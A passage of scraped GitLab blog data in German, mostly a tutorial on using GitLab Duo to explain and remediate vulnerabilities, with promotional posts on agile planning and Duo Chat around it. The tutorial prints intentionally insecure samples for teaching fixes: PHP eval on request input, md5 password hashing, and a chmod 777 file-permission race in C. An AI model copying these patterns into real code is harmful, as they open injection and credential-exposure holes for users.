werden, kann die Moral und das Engagement des Teams erheblich steigern. Agile-Teams, die effektiv zusammenarbeiten, sind motivierter, fühlen sich stärker verantwortlich und setzen sich mehr für den Projekterfolg ein.\n  - *Erfolge können durch die Verknüpfung mit Beiträgen und Aktivitäten von Teammitgliedern in GitLab anerkannt und gefeiert werden.*\n- **Bessere Ergebnisse:** Gemeinsame Anstrengungen führen oft zu qualitativ hochwertigeren Ergebnissen. Kontinuierliches Feedback und Peer Reviews stellen sicher, dass Probleme frühzeitig erkannt und umgehend behoben werden, was zu ausgereifteren und robusteren Produkten führt.\n  - *Die Meilensteinverfolgung und die Projektvorlagen von GitLab gewährleisten projektübergreifend einheitliche Qualitätsstandards und ermöglichen gründliche Überprüfungen und Standardisierungen.*\n- **Anpassungsfähigkeit und Flexibilität:** Agile-Teams müssen in der Lage sein, schnell auf Feedback zu reagieren und sich an sich ändernde Anforderungen anzupassen. Zusammenarbeit bietet die Flexibilität, Pläne und Strategien in Echtzeit anzupassen, um sicherzustellen, dass das Team reaktionsfähig bleibt und sich an den Projektzielen orientiert.\n  - *Die Roadmaps und dynamischen Planungsfunktionen von GitLab ermöglichen die Anpassung von Zeitplänen und Prioritäten im laufenden Betrieb, sodass das Team agil bleibt und auf Veränderungen reagieren kann.*\n\nAls Produktmanagerin habe ich aus erster Hand erlebt, wie diese Vorteile die Leistung eines Teams verändern können. Durch die Integration dieser kollaborativen Praktiken können Agile-Teams ihre Produktivität, Innovation und den allgemeinen Projekterfolg steigern.\n\n> Sieh dir die [Updates und Einblicke zur Agile-Planung von GitLab an](https://about.gitlab.com/de-de/blog/categories/agile-planning/).\n\n## Mit GitLab zum Erfolg in der Agile-Softwareentwicklung \n\nGitLab ist mit seiner umfassenden Suite von Tools perfekt positioniert, um diese Zusammenarbeit zu unterstützen.\n\n- **Optimierte Agile-Entwicklung:** GitLab unterstützt die hierarchische Planung und ermöglicht es Teams, Projekte in Epics zu strukturieren, die dann in Funktionen, User Storys und Aufgaben unterteilt werden können. Diese klare Organisation stellt sicher, dass komplexe Projekte überschaubar und transparent sind, und fördert die kontinuierliche schrittweise Wertschöpfung. Durch die Aufteilung der Arbeit in detaillierte Segmente hilft GitLab Agile-Teams, fokussiert zu bleiben und Ziele effizient zu erreichen.\n\n![Verschachtelte Liste von Epics und untergeordneten Tickets](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097050298.png)\n\n- **Verbesserte Sichtbarkeit und Verantwortlichkeit:** Das Management von Abhängigkeiten ist für funktionsübergreifende Initiativen von entscheidender Bedeutung. Die Tools von GitLab zum Erstellen, Verfolgen und Visualisieren von Abhängigkeiten vermitteln den Teammitgliedern ein klares Verständnis dafür, wie ihre Arbeit in das Gesamtprojekt passt. Diese Sichtbarkeit verhindert Engpässe und sorgt dafür, dass die Bemühungen mit den Projektzielen in Einklang stehen, was die Verantwortlichkeit und den koordinierten Fortschritt fördert.\n\n![Screenshot mit Abhängigkeiten für Initiativen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097050300.png)\n\n- **Einheitliche Plattform für alle Benutzer(innen):** GitLab vereint alle Beteiligten auf einer einzigen Plattform und beseitigt so die Silos, die oft durch die Verwendung unterschiedlicher Tools entstehen. Dies verbessert die Kommunikation und Zusammenarbeit zwischen den Teams. Ganz gleich, ob du Entwickler(in), Projektmanager(in), Qualitätssicherungsspezialist(in) oder UX-Designer(in) bist, GitLab stellt sicher, dass alle auf dieselben Daten und Tools zugreifen können, und fördert so eine kohärentere Arbeitsumgebung.\n\n- ** Zusammenarbeit und Kommunikation in Echtzeit:** GitLab unterstützt die Zusammenarbeit in Echtzeit durch Funktionen wie Merge Requests, Ticketverfolgung und Pipelines für die kontinuierliche Integration und Bereitstellung ([CI/CD](https://about.gitlab.com/de-de/topics/ci-cd/)). Diese Funktionen optimieren den Entwicklungsprozess und fördern kontinuierliches Feedback und iterative Verbesserungen. Integrierter Chat, Kommentare zu Merge Requests und Echtzeit-Benachrichtigungen stellen sicher, dass alle Beteiligten auf dem Laufenden bleiben und an einem Strang ziehen.\n\n![Screenshot eines Chat-Gesprächs zwischen Produkt-, Entwicklungs- und Designteams](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097050305.png)\n\n- **Datengestützte Entscheidungsfindung und kontinuierliche Verbesserung:** Jede Aktion in GitLab kann gemessen werden und liefert wertvolle Erkenntnisse, die als Leitfaden für die strategische Planung und operative Anpassungen dienen. Mit den [Analysefunktionen von GitLab](https://about.gitlab.com/de-de/solutions/value-stream-management/) können Teams Key-Performance-Indicators wie Bearbeitungszeiten und Häufigkeit der Bereitstellung überwachen. Dieser datengesteuerte Ansatz stellt sicher, dass Entscheidungen auf Fakten und nicht auf Annahmen basieren, was den Lean-Prinzipien entspricht und kontinuierliche Verbesserungen fördert.\n\n![Dashboard für die Wertstromanalyse](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097050308.png)\n\n## Starte deine Agile-Unternehmenstransformation\n\nDie Transformation, die GitLab für das Projektmanagement mit sich bringt, ist aufregend. Es geht nicht nur um die Verwendung eines Tools, sondern um die Förderung einer Kultur der Zusammenarbeit und kontinuierlichen Verbesserung. Es war unglaublich bereichernd zu sehen, wie meine Teams von isolierten Bemühungen zu einer einheitlichen, effizienten und motivierten Belegschaft übergegangen sind.\n\nGitLab definiert kollaboratives Projektmanagement neu, indem es umfassende Planungswerkzeuge mit Echtzeit-Funktionen für die Zusammenarbeit in einer einzigen Plattform integriert. Dies fügt sich nahtlos in Agile-Praktiken ein und ermöglicht es Teams, Projekte effizienter und präziser zu verwalten. Für Unternehmen jeder Größe bietet GitLab die erforderlichen Werkzeuge, um die Komplexität der modernen Softwareentwicklung zu bewältigen und eine erfolgreiche und termingerechte Projektabwicklung zu gewährleisten.\n\n> Starte noch heute mit GitLab Enterprise Agile Planning [mit einer kostenlosen Testversion von GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).",[1812],"2024-07-16","So verbessert die Agile-Planung von GitLab das kollaborative Projektmanagement",[973],{"slug":3024,"featured":92,"template":682},"how-gitlab-agile-planning-improves-collaborative-project-management","content:de-de:blog:how-gitlab-agile-planning-improves-collaborative-project-management.yml","How Gitlab Agile Planning Improves Collaborative Project Management","de-de/blog/how-gitlab-agile-planning-improves-collaborative-project-management.yml","de-de/blog/how-gitlab-agile-planning-improves-collaborative-project-management",{"_path":3030,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3031,"content":3038,"config":3046,"_id":3048,"_type":16,"title":3049,"_source":17,"_file":3050,"_stem":3051,"_extension":20},"/de-de/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities",{"ogTitle":3032,"schema":3033,"ogImage":3034,"ogDescription":3035,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3036,"title":3032,"canonicalUrls":3036,"description":3037},"GitLab Duo: KI zur Behebung von Sicherheitslücken nutzen","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Die Entwicklung von GitLab Duo: KI zur Behebung von Sicherheitslücken nutzen \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"},{\"@type\":\"Person\",\"name\":\"Alana Bellucci\"}],\n        \"datePublished\": \"2024-07-15\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098106/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098106040.png","Dieses Tutorial zeigt, wie dir die GitLab-Duo-Funktionen zur Erläuterung und Behebung von Sicherheitslücken zusammen mit unseren anderen KI-basierten Funktionen helfen können, Sicherheitslücken schnell zu beheben.","https://about.gitlab.com/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities","Dieses Tutorial zeigt, wie dir die GitLab-Duo-Funktionen zur Erläuterung und Behebung von Sicherheitslücken zusammen mit unseren anderen KI-basierten Funktionen helfen können, Sicherheitslücken zu beheben.",{"heroImage":3034,"body":3039,"authors":3040,"updatedDate":3042,"date":3043,"title":3044,"tags":3045,"description":3035,"category":677},"Du hast gerade eine neue Stelle angetreten, und gleich an deinem ersten Tag\ngibt es einen schwerwiegenden Vorfall in der Produktion, bei dem alle\nverfügbaren Arbeitskräfte benötigt werden. Eine Reihe kritischer neuer\nSicherheitslücken erfordert sofortige Aufmerksamkeit, Analyse,\nSchadensbegrenzung und Behebung. Aber wo genau fängst du mit deiner\nUntersuchung an?\n\n\nErfahre, wie du mit den GitLab-Duo-Funktionen zur Erläuterung von Sicherheitslücken und Behebung von Sicherheitslücken zusammen mit anderen KI-basierten Funktionen innerhalb weniger Minuten mit der Behebung von Sicherheitslücken beginnen kannst. Anhand eines praktischen Beispiels erfährst du, wie du von der KI-basierten Unterstützung bei der Analyse und Erläuterung von Sicherheitslücken profitieren kannst. Zusätzliche Abhilfemaßnahmen stehen in Form von KI-generierten Codekorrekturen in MRs im Vordergrund, um Sicherheitslücken schneller zu beheben.\n\n\n> Starte [eine kostenlose Testversion von GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial), um diese leistungsstarken Vorteile bei der Behebung von Sicherheitslücken auch in deinem Unternehmen zu nutzen.\n\n\n## So gehst du vor: Analyse\n\n\nDer erste Schritt besteht darin, die Auswirkungen und den Schweregrad der Sicherheitslücke zu analysieren. Öffne die GitLab-Benutzeroberfläche und navigiere zum [Sicherheitslückenbericht](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) im Menü `Schützen > Sicherheitslückenbericht`. Filtere die Liste der Sicherheitslücken nach `SAST` und identifiziere die kritischsten Sicherheitslücken, an denen du arbeiten musst.\n\n\n![Übersicht über Sicherheitslückenberichte](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/vulnerability_reports_overview_aHR0cHM6_1750098116056.png)\n\n\nDie Ergebnisse des SAST-Scanners werden in der Detailansicht zusammengefasst und mit dem Quellcode verknüpft. Sie enthalten Details aus öffentlich zugänglichen Sicherheitshinweisen. Für Entwickler(innen) ist es oft schwierig, direkt aus dem Sicherheitsbericht heraus mit der Analyse zu beginnen, es sei denn, sie kennen den Umfang des Angriffs, die technischen Details und die Sicherheitslücken genau.\n\n\n## Verstehen und Entschärfen mit der Erläuterung von Sicherheitslücken\n\n\nEs ist unerlässlich, dass du die Sicherheitslücke verstehst und weißt, wie du sie am besten und effizientesten beheben kannst. Die Korrekturen dürfen bestehende Funktionen nicht beeinträchtigen. Falls doch, ist eine Besprechung mit den zuständigen Betreuer(inne)n und Product Ownern mit einer Zusammenfassung und möglichen Abhilfemaßnahmen erforderlich. Code, den ein(e) ehemalige(r) Mitarbeiter(in) geschrieben hat, oder Code, für den es keine Tests gibt, kann die Planung eines Fixes noch schwieriger machen.\n\n\nDie KI-basierte Erläuterung von Sicherheitslücken bietet eine Zusammenfassung, wie ein(e) Angreifer(in) die Sicherheitslücke ausnutzen könnte, und liefert weitere Erklärungen zu den Auswirkungen und möglichen Abhilfemaßnahmen.\n\n\nDas folgende Beispiel zeigt eine OS-Command-Injection-Sicherheitslücke unter Verwendung dieses Codeschnipsels:\n\n\n```php\n\n\u003C?php \n\n\n// Read variable name from GET request\n\n$name = $_GET['name'];\n\n\n// Use the variable name to call eval and print its value \n\neval('echo $' . $name . ';');\n\n```\n\n\nDer Sicherheitslückenbericht ist nicht sehr detailliert und setzt voraus, dass du den gesamten Kontext und die Auswirkungen verstehst. Wähle oben rechts `Sicherheitslücke erläutern`, um den GitLab Duo Chat mit einem vordefinierten Prompt zu öffnen. Dieser bietet eine zusätzliche Zusammenfassung der Sicherheitslücke, eine Beschreibung, wie die Sicherheitslücke ausgenutzt werden kann, und einen Lösungsvorschlag.\n\n\n![Unsachgemäße Neutralisierung von\n\nspeziellen Elementen, die in einem Betriebssystembefehl verwendet werden\n\n(„OS Command Injection“) ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098116057.png)\n\n\n### Erläuterung von Sicherheitslücken in einem Gespräch mit Kontext\n\n\nDu wirst auch eine Änderung in der Benutzeroberfläche sehen: Das vorherige Overlay der Erläuterung von Sicherheitslücken wurde durch einen GitLab-Duo-Chat-Workflow ersetzt. Manchmal benötigt eine komplexe Sicherheitslücke mehrere Abhilfemaßnahmen oder sie führt zu unklaren Quellcodepfaden.\n\n\nDu kannst zum Quellcodebaum navigieren und mit demselben Chat-Kontext fortfahren, um dir den Code erläutern zu lassen, ihn zu reparieren, zu überarbeiten und zu testen. \n\n\nProbieren wir den kompletten Workflow anhand eines Beispiels in C aus, bei dem die Sicherheitsscans einen Pufferüberlauf entdeckt haben.\n\n\n1. Öffne die Detailansicht der Sicherheitslücke und wähle oben rechts auf der Schaltfläche „Sicherheitslücke erläutern“. Dies öffnet den Chat-Prompt mit einer Zusammenfassung des Problems, potenziellen Angriffsvektoren und einem Lösungsvorschlag.\n\n\n![KI für Sicherheitslücken – Bild 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750098116059.png)\n\n\n2. Überprüfe den Lösungsvorschlag und bitte Duo Chat in einem Folge-Prompt, dir alternative Lösungsmöglichkeiten anzuzeigen, indem du den folgenden Text eingibst: `Can you show an alternative fix using a different function`. Der Sinn dahinter ist, etwas über Alternativen zur Funktion `strcpy()` zu erfahren, die sicherer zu verwenden sind.\n\n\n![KI für Sicherheitslücken – Bild 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098116060.png)\n\n\n3. Duo Chat bietet im folgenden Beispiel eine alternative Lösung mit `strlcpy()`. Die Funktion kopiert nur so viele Zeichen, wie in der Zielzeichenfolge erlaubt sind, und beendet die Zeichenfolge immer mit Null. Sie gibt auch die Länge der Quellzeichenfolge zurück, um festzustellen, ob die Zeichenfolge abgeschnitten wurde.\n\n\n![KI für Sicherheitslücken – Bild 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098116062.png)\n\n\n4. Klicke auf die URL der Datei `Location`, um zur Quellcodeansicht zu gelangen. Öffne Duo Chat erneut und vergewissere dich, dass der vorherige Kontext zur Erläuterung der Sicherheitslücke noch vorhanden ist. Als Nächstes möchten wir Tests hinzufügen, bevor wir mit einem Lösungsvorschlag fortfahren. So vermeiden wir, dass Funktionen kaputt gehen oder Regressionen eingeführt werden. Verwende zum Beispiel den folgenden Chat-Prompt: `Based on the vulnerability context and opened source code, how would you add tests for it?`.\n\n\n![KI für Sicherheitslücken – Bild 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098116063.png)\n\n\n5. Nachdem du Tests erstellt hast (und angenommen, sie wurden jetzt hinzugefügt), kannst du Duo Chat mit dem Prompt `Can you refactor the source code too?` in der gleichen Sitzung auch darum bitten, den Quellcode zu überarbeiten.\n\n\n![KI für Sicherheitslücken – Bild 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098116063.png)\n\n\nDer Workflow zeigt dir, wie du Sicherheitslücken analysierst, verstehst, entschärfst, alternative Ansätze findest, Tests hinzufügst und sogar Refactoring durchführst. \n\n\nDu kannst diesen Weg mit Duo Chat fortsetzen und dann in die Web IDE wechseln, um den Quellcode zu ändern, nachdem du gelernt hast, wie es geht. Zu den weiteren fortlaufenden Workflows gehören das Committen von Änderungen und das Auslösen der CI/CD-Pipeline und von Sicherheitsscans für den gesamten DevSecOps-Lebenszyklus. \n\n\n## Beheben mit KI-unterstützter Behebung von Sicherheitslücken\n\n\nUm eine Sicherheitslücke zu verstehen und zu beheben, sind immer noch Entwicklerfähigkeiten notwendig, um in einem neuen Merge Request eine Lösung für das Problem zu erstellen, Pipelines auszuführen und Sicherheitsscans durchzuführen. Es kann auch erforderlich sein, die Fixes in einer Staging-Umgebung bereitzustellen und über einen längeren Zeitraum zu testen.\n\n\nDie KI kann dir dabei helfen, einen Lösungsvorschlag auf der Grundlage des bereitgestellten Kontexts der Sicherheitslücke und des Quellcodes zu generieren.\n\n\nTipp: Denke an die ärgerlichste Sicherheitslücke, die du in deiner Karriere bisher beheben musstest, und erstelle das Anwendungsbeispiel erneut für GitLab Duo. Die [Mitre CWE Top 25 der gefährlichsten Software-Sicherheitslücken](https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html) bietet ebenfalls einen guten Ausgangspunkt.  \n\n\nDas folgende Beispiel implementiert [CWE-328: Use of a weak hash function (Verwendung einer schwachen Hash-Funktion)](https://cwe.mitre.org/data/definitions/328.html) unter Verwendung von `md5`. Die Sicherheitslücke wird von [SAST-Scannern](https://docs.gitlab.com/ee/user/application_security/sast/) korrekt identifiziert. \n\n\n```python\n\nimport hashlib\n\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\n    def set_password(self, password):\n        self.password = hashlib.md5(password.encode()).hexdigest()\n```\n\n\n![KI für Sicherheitslücken – Bild 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098116064.png)\n\n\nKlicke oben rechts auf die Schaltfläche `Mit Merge Request lösen`.  Dies öffnet einen MR, der KI verwendet, um eine Lösung vorzuschlagen. Eine mögliche Lösung für diese Sicherheitslücke könnte die Verwendung einer anderen Hash-Funktion sein.\n\n\n![KI für Sicherheitslücken – Bild 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098116065.png)\n\n\nEin weiteres häufiges Beispiel für eine Sicherheitslücke ist die Nichtüberprüfung von Funktionsfehlercodes oder möglichen Exceptions. Die folgenden C-Codeschnipsel implementieren ein Beispiel für Timing-Angriffe auf Dateivorgänge mit [CWE-362](https://cwe.mitre.org/data/definitions/362.html) für die Aufrufe `fopen()` und `chmod()`. \n\n\n```c\n\n#include \u003Cstdio.h>\n\n#include \u003Cstring.h>\n\n#include \u003Csys/mman.h>\n\n#include \u003Csys/stat.h>\n\n#include \u003Cunistd.h>\n\n\nint main(int argc, char **argv) {\n\n    // File operations\n    char *fname = \"gitlab.keksi\";\n\n    FILE *fp;\n    fp = fopen(fname, \"r\");\n    fprintf(fp, \"Hello from GitLab Duo Vulnerability Resolution Challenge\");\n    fclose(fp);\n\n    // Potential chmod() timing attacks    \n\n    // Make the file world readable\n    chmod(fname, S_IRWXU|S_IRWXG|S_IRWXO);\n\n    return 0;\n}\n\n```\n\n\nDer SAST-Bericht für `chmod()` kann wie folgt aussehen: \n\n\n![KI für Sicherheitslücken – Bild 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098116065.png)\n\n\nDer vorgeschlagene Merge Request für `chmod()` beinhaltet die Fehlerbehandlung. Zusätzlich wird ein weiteres potenzielles Problem behoben, durch das Dateien öffentlich beschreibbar sind, indem die Berechtigungen von `777` auf `600` geändert werden.\n\n\n![KI für Sicherheitslücken – Bild 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098116066.png)\n\n\n> Probiere diese asynchrone Übung aus: Finde, analysiere und behebe die Sicherheitslücke für die Funktion `fopen()`.\n\n\n## Mehr KI-Unterstützung von GitLab Duo erforderlich\n\n\nOft lässt sich ein Sicherheitsproblem mit einer schnellen Lösung oder einem Workaround beheben, der den Entwicklungsteams Zeit gibt, eine längerfristige Lösung zu diskutieren und zu planen. In anderen Fällen wird das Problem komplexer und erfordert die Deaktivierung von Funktions-APIs oder die Behebung von Problemen der Firewall, bis eine angemessene Lösung in die Produktion eingeführt werden kann.\n\n\nGitLab Duo bietet zusätzliche KI-basierte Funktionen, die bei der Lösung dieser Probleme helfen können. \n\n\n**Codeerläuterung:** Als Entwickler(in) oder Sicherheitsingenieur(in) ist es wichtig, dass du dich auf deine Änderungen verlassen kannst. In der IDE kannst du die [Funktion „Codeerläuterung“](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide) verwenden, um die von der KI vorgeschlagene Lösung für die Sicherheitslücke besser zu verstehen. So ist sichergestellt, dass du genau weißt, welche Anpassungen vorgenommen wurden und warum.\n\n\n**Grundursachenanalyse:** Wenn die Lösung deine Pipeline beschädigt, kannst du die [Grundursachenanalyse](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/) verwenden. Dieses Tool hilft dir bei der Identifizierung des zugrunde liegenden Problems und erklärt es dir, damit du es effektiv angehen kannst. Nachdem du die erforderlichen Korrekturen vorgenommen hast, kannst du die Tests erneut ausführen, um eine erfolgreiche Lösung zu gewährleisten.\n\n\n**Refactoring:** Auch wenn die Sicherheitslücke behoben wurde, lohnt es sich zu überlegen, ob der Code nicht sicherer geschrieben werden kann. In der IDE kannst du GitLab Duo Chat öffnen und die [Refactoring-Aktion](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide) verwenden, um alternative, sicherere Möglichkeiten zum Schreiben deines Codes zu finden. Dieser proaktive Ansatz trägt zur Aufrechterhaltung einer robusten und sicheren Codebase bei.\n\n\nMit diesen Funktionen von GitLab Duo kannst du Sicherheitslücken selbstbewusst erkennen und beheben und so sicherstellen, dass dein Code sicher und effizient bleibt.\n\n\n## Wie geht es weiter?\n\n\nWir planen, sowohl die Erläuterung von Sicherheitslücken als auch die Behebung von Sicherheitslücken „nach links“ zu verschieben, indem wir sie direkt in den MR-Prozess integrieren. Diese Integration stellt sicher, dass du Sicherheitslücken früher im Entwicklungszyklus angehen und beheben kannst, was deinen Workflow optimiert und die Codesicherheit von Anfang an erhöht.\n\n\n## Erste Schritte mit GitLab Duo\n\n\nIn unserer [Dokumentation](https://docs.gitlab.com/ee/user/gitlab_duo/turn_on_off.html) findest du Informationen dazu, wie du die Funktion für unsere GitLab-Ultimate-Kund(inn)en aktivieren kannst. Außerdem sind die GitLab-Duo-Funktionen [Erläuterung von Sicherheitslücken](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#explaining-a-vulnerability) und [Behebung von Sicherheitslücken](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution) bald in GitLab Self-Managed und GitLab Dedicated verfügbar.\n\n\nIn [der Blog-Serie „Entwicklung von GitLab Duo“](https://about.gitlab.com/blog/developing-gitlab-duo-series/) erfährst du regelmäßig, was es Neues in GitLab Duo gibt.\n\n\n> Starte [eine kostenlose Testversion von GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial), um diese leistungsstarken Vorteile bei der Behebung von Sicherheitslücken auch in deinem Unternehmen zu nutzen!\n",[2840,3041],"Alana Bellucci","2024-11-29","2024-07-15","Die Entwicklung von GitLab Duo: KI zur Behebung von Sicherheitslücken nutzen ",[679,765,680,745,767],{"slug":3047,"featured":92,"template":682},"developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities","content:de-de:blog:developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities.yml","Developing Gitlab Duo Use Ai To Remediate Security Vulnerabilities","de-de/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities.yml","de-de/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities",{"_path":3053,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3054,"content":3060,"config":3067,"_id":3069,"_type":16,"title":3070,"_source":17,"_file":3071,"_stem":3072,"_extension":20},"/de-de/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements",{"title":3055,"description":3056,"ogTitle":3055,"ogDescription":3056,"noIndex":6,"ogImage":3057,"ogUrl":3058,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3058,"schema":3059},"GitLab Duo: Ein Überblick über die neuesten Verbesserungen im Chat","Entdecke die neusten Verbesserungen beim Chat von GitLab Duo, darunter eine neue Integration, der Abbruch von Prompts sowie Architektur-Upgrades.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098374/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098374059.png","https://about.gitlab.com/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo: Ein Überblick über die neuesten Verbesserungen im Chat\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jannik Lehmann\"},{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-07-10\",\n      }\n                  ",{"title":3055,"description":3056,"authors":3061,"heroImage":3057,"date":3064,"body":3065,"category":677,"tags":3066,"updatedDate":2516},[3062,3063],"Jannik Lehmann","David O'Regan","2024-07-10","GitLab ist bestrebt, [den Chat von GitLab Duo](https://gitlab.com/gitlab-org/gitlab/-/issues/430124), unseren KI-Assistenten, kontinuierlich zu verbessern, um den sich wandelnden Bedürfnissen unserer Benutzer(innen) gerecht zu werden. Hier findest du einige neue Verbesserungen, die deinen Workflow optimieren und deine Produktivität steigern werden.\n\n> Entdecke die Zukunft von KI-gestützter Softwareentwicklung mit unserem virtuellen Launch-Event zu GitLab 17.  [Sieh es dir jetzt an](https://about.gitlab.com/seventeen/)!\n\n## Erklärung von Sicherheitslücken: neue Integration\n\nWir haben einen wichtigen Meilenstein bei der Evolution des Chats erreicht: die Integration der [Erklärung von Sicherheitslücken in GitLab Duo](https://about.gitlab.com/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/). Dies ist die erste Funktion in [GitLab Duo](https://about.gitlab.com/gitlab-duo/), die von einem Team außerhalb unserer KI-Gruppe in den Chat integriert wurde. Dies zeigt, wie großen Wert man bei GitLab auf Zusammenarbeit und funktionsübergreifende Fähigkeiten legt.\n\n### Die wichtigsten Höhepunkte dieser Integration:\n\n- **Rasche Ausführung:** Das Team schaffte es in nur drei Wochen von einer Nachfragespitze zur Implementierung und bewies dadurch Agilität und Ausführungsstärke.\n- **Teamübergreifende Zusammenarbeit:** Diese Integration wurde von Teams außerhalb der KI-Gruppe geleitet und ebnete so den Weg für weitere, unterschiedliche Funktionsintegrationen, die die Zukunft bringen könnte.\n- **Verbesserte Sicherheitseinblicke:** Benutzer(innen) können demnächst den Chat nutzen, um ein tieferes Verständnis für Sicherheitslücken zu erhalten, die in ihren Projekten gefunden wurden.\n\nDiese Integration ist ein wichtiger Schritt, um den Chat zu einem noch leistungsstärkeren und vielseitigeren Tool für Entwickler(innen) zu machen, insbesondere im Bereich der Sicherheit.\n\n## Verbessertes Kontextbewusstsein\n\nWir haben erhebliche Fortschritte darin gemacht, das Kontextbewusstsein des Chats zu verbessern. Dadurch wurde er in verschiedenen Szenarien intelligenter und hilfreicher.\n\n### Immer verfügbares Wissen\n\nGitLab Duo Chat hat immer Zugriff auf:\n- GitLab-Dokumentation\n- Allgemeine Programmier- und Codierkenntnisse \n\nEs ist wichtig zu verstehen, dass der Chat keinen uneingeschränkten Zugriff auf deine gesamte GitLab-Instanz oder Codebase hat. Er verarbeitet nur die spezifischen Informationen, die du in deiner Abfrage angibst, bzw. das, was in der UI oder IDE in GitLab in deiner derzeitigen Ansicht unmittelbar relevant ist.\n\nWir arbeiten kontinuierlich daran, das Kontextbewusstsein des Chats auszubauen und weitere Inhaltstypen zu integrieren. Natürlich achten wir dabei immer auf die Privatsphäre der Benutzer(innen) sowie den Datenschutz. Durch diese schrittweise Erweiterung wird der Chat nach und nach zu einem immer leistungsstärkeren Assistenten für deinen Entwicklungs-Workflow, während die nötigen Einschränkungen für den Datenzugriff beibehalten werden.\n\n### Erweitertes Kontextwissen\n\nGitLab Duo Chat bietet jetzt [ein besseres Verständnis des Kontexts, in dem du arbeitest](https://docs.gitlab.com/ee/user/gitlab_duo_chat/#the-context-chat-is-aware-of), sowohl in der GitLab-UI als auch in IDEs. Hier haben wir für dich aufgeschlüsselt, was der Chat erkennt.\n\nIn der GitLab-UI:\n- **Epics** - Der Chat versteht, wenn du dich auf „dieses Epic“ beziehst oder die URL des Epics verwendest.\n- **Tickets** - Ähnlich wie bei Epics erkennt der Chat „dieses Ticket“ oder die URL des Tickets.\n- **Codedateien** - Beim Anzeigen einer einzelnen Datei kann der Chat Anfragen zu „diesem Code“ oder „dieser Datei“ interpretieren.\n\nIn IDEs:\n- **Ausgewählter Code** - Der Chat kann den von dir ausgewählten Code analysieren, wenn du nach „diesem Code“ oder „dieser Datei“ fragst.\n- **Epics und Tickets** -  Der Chat kann den Kontext verstehen, wenn du die URL angibst.\n\nWenn du in IDEs Slash-Befehle wie `/explain`, `/refactor`, oder `/tests` verwendest, hat der Chat außerdem Zugriff auf den ausgewählten Code.\n\n![Screenshot des GitLab Duo Chat-Fensters](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098382107.png)\n\n### Chatverlauf und Caching\nDer GitLab Duo 